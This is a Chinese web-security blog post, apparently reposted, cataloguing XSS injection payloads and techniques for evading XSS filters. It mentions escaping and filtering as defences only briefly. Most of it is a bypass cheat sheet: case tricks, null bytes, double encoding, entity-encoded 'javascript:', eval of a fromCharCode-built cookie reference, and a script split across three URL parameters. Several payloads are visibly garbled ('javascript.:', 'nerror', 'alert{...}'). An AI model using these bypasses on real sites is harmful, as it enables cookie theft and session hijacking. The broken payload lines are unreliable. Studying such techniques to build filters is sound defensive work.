XSS注入方式和逃避XSS过滤的常用方法

  • A+
所属分类:WEB安全

转自黑吧安全网http://www.myhack58.com/

web前端开发常见的安全问题就是会遭遇XSS注入,而常见的XSS注入有以下2种方式:

一、html标签注入

这是最常见的一种,主要入口为表单项(一般就是正则过滤不周全)、内联样式表(exploer)

正则过滤的解决办法,php一般会使用htmlspecialchars或者htmlentities函数进行转义

注入方式有<script>/图片标签/连接标签/head头中其他标签,比如:

<sCrIpT. src=xss.js></sCrIpT> <<script>alert("xss");//<</script>

img src="javascript.:alert('xss');"> <img """><script>alert("xss")</script>">

<script. a=">" SRC="xss.js"></script> <iframe. src="javascript.:alert('xss');"></iframe>

二、js代码注入

一般为使用JS代码直接引用,不经校验的字符串,解析不安全的json(p)数据等

比如一个name字段,没有经过过滤时,当name等于以下输入时

';alert('xss');//

'';!--"<xss>=&{()}

那使用document.write('u name is' + name);,就会破坏原有结构,插入不期望的数据

三、应对XSS注入的方法主要有2种:

1、对输入的数据进行转义保存,在输出时再进行还原

2、对输入的数据进行过滤,确保输入数据符合我们的期望(数据类型、长度、过滤空格/特殊字符、判断唯一性等)

对应的,逃避过滤的方法就有以下几种:

A、许多过滤匹配特殊的标签,包括起始与结束尖括号。但是,许多浏览器接受结束括号前的空白符,允许攻击者轻易避开这种过滤。例如:<script. >

B、因为许多人用小写字符编写HTML代码,所以一些过滤仅检查常用的小写恶意标签。例如:<ScRiPt>,通过改变字符大小写避开过滤。

C、一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但通常可以依靠周围现有的语法,结束注入的标签,从而避开这种过滤。比如:

a 某个表单中的value值为:

<input type="hidden" name="pageid" value="擦擦擦">
使用如下代码进行替换,从而注入一个js新标签
擦擦擦"><x styple=" x:expression(alert(document.cookie))
b 浏览器一般会接受未结束的html标签(现在还有N多不服务W3C标准的浏览器存在),如下代码就可避开过滤,执行一个alert操作
<img src="" nerror=alert{document.cookie}
D、一些过滤匹配成对的起始与结束尖括号,提取其中的内容,并将这些内容与标签名称黑名单进行比较。可以通过使用多余的括号避开过滤。

<<script>alert(document.cookie);//<</script>
E、即使空字节后面的文本仍然在应用程序的响应中返回,但如果遇到空字节,一些过滤会停止处理字符串。在被过滤的表达式前插入一个URL编码的空字节即可避开这种过滤,还是上面C的表单

擦擦擦%00<script>
F、在不同的目标浏览器中,通常可以在被过滤的表达式中插入能够避开过滤、但仍被浏览器接受的字符:

<script/src=...

<scr%00ipt>

expr/*****/ession
G、果用户提交的数据在应用过滤后还进行了规范化(encode/decode),我们仍可以通过URL编码或双重编码被过滤的表达式,避开过滤,并对漏洞进行利用。

%3cscript%3e(一次encode) %253cscript%253e(2次encode)
H、由于在服务器执行所有输入确认后,在响应中返回的攻击有效代码会被受害者的浏览器解析,这时候就出现了一种避开规范化的特殊情况。有时候,可以对攻击代码进行HTML编码以避开服务器的输入确认,受害者的浏览器将会再次解析攻击代码。例如,表达式Javascript:常被阻止以防止使用这种协议的攻击。但是,攻击者可以通过各种浏览器接受的方式对该表达式进行HTML编码。例如:
a、<img src=javascript.:...

<img src=javascri&0000112;t:...

<img src=javascript:....

以上三个例子分别使用标准的UTF-8编码、利用多余填补数据的标准编码以及省略分号的十六进制编码。不同的编码类型进行结合,排列组合量非常大。
b、有时候我们能够成功执行一些JavaScript脚本,但在代码中对一些命令和关键字进行了限制。这个时候,可以通过动态创建并执行语句来避开应用程序的过滤。
比如,应用程序阻止用户提交任何包含表达式document.cookie的数据,可以通过如下方法来避开这种过滤:

var a = "alert(doc" + "ument.coo" + "kie)"; eval(a);
或var a = "alert(" + String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101) + ")"; eval(a);
c、有时候应用程序会对某些关键字分进行HTML编码(<变成<;,>变成>;),这种情况下,应用程序可能会完全删除某些字符或表达式,试图利用这种净化来阻止恶意代码的执行。通常碰到这种字符净化设置,需要查明应用程序净化了哪些字符与表达式,以及能否通过剩下的字符实施攻击。
I、如果过滤完全删除某些表达式,并且至少有一个被删除的表达式长度超过一个字符,那么只要应用程序没有进行递归净化,就可能避开过滤。
<scr<script>ipt>

假设应用程序对每个字段实施了长度限制,以阻止在其中插入有效的攻击字符串。但是攻击者仍然可以使用下面的方法,将一段脚本分布到他所控制的三个位置,从而传送一个有效的攻击字符串:
比如下面这个链接(get方式,使用三个参数)

https://xxx.com/account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>"
最终得到的HTML完全有效,其中的源代码块已成为JavaScript注释(包含在/*与*/之间),因此被浏览器忽略。这样注入的脚本被执行

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: